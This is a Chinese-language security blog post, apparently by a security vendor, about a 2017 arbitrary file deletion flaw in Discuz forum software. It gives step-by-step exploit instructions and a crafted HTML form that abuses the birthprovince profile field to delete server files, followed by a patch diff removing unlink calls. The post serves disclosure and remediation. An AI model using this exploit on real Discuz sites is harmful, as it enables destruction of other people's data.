Discuz在2017年9月29日更新了漏洞修复补丁,具体修复了DISCUZ前台的一个任意文件的 删除漏洞,关于这个discuz论坛文件删除漏洞方面曾在2014年里被提交到discuz官方以及wooyun
乌云官方,但此次漏洞完全是因为漏洞修复的不彻底,并可以再次利用,导致了漏洞的发生。
此次Discuz漏洞的影响范围甚广,Discuz 3.4以下的版本,包含了 Discuz X3.2 Discuz X3.1
DiscuzX3.0 Discuz2.5等系列的版本漏洞。Sine安全公司是一家专注于:服务器安全、网站安全、
网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。 Discuz漏洞的具体利用详情: 漏洞测试环境如下:windows2008+PHP5.2+MYSQL+ Discuz X3.2 我们来新建一个文本文档来作为测试:
打开论坛—再点击论坛设置-找到个人资料,右键查看页面的源代码,找到formhash这个值.
http://www.sinesafe.com/discuz3_2/home.php?mod=spacecp&ac=profile
我们查看到的formhash值是b21b6577,我们再来访问下 http://www.sinesafe.com/discuz3_2/home.php?mod=spacecp&ac=profile&op=base 并post提交方式,提交数据到这个地址如下图所示:
个人论坛设置里的出生地,被修改成要删除的文件。 最后构造表单来执行删除文件
<form action=”http://www.sinesafe.com/discuz3_2/home.php? mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”> <input type=”file” name=”birthprovince” id=”file” /> <input type=”text” name=”formhash” value=”b21b6577″/></p> <input type=”text” name=”profilesubmit” value=”1″/></p> <input type=”submit” value=”Submit” /> </from>
我们在表单里随便上传一张图片,即可删除论坛里任意的文件。Sine安全公司是一家专注于:服
务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务
提供商。 discuz漏洞修复方案: 找到:/source/include/spacecp/spacecp_profile.php
关于调用了unlink 相关的函数删除掉,一共有5处。 if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key]) && $_G ['cache']['profilesetting'][$key]['formtype'] == 'file') { - @unlink(getglobal ('setting/attachdir').'./profile/'.$space[$key]); - @unlink(getglobal ('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } } @@ -215,17 +213,14 @@ if(submitcheck('profilesubmit')) { $attach['attachment'] = dhtmlspecialchars(trim ($attach['attachment'])); if($vid && $verifyconfig['available'] && isset ($verifyconfig['field'][$key])) { if(isset($verifyinfo['field'][$key])) { - @unlink(getglobal ('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach ['attachment']; } continue; } if(isset($setarr[$key]) && $_G['cache'] ['profilesetting'][$key]['needverify']) { - @unlink(getglobal ('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } - @unlink(getglobal ('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment']; }
还没有评论,来说两句吧...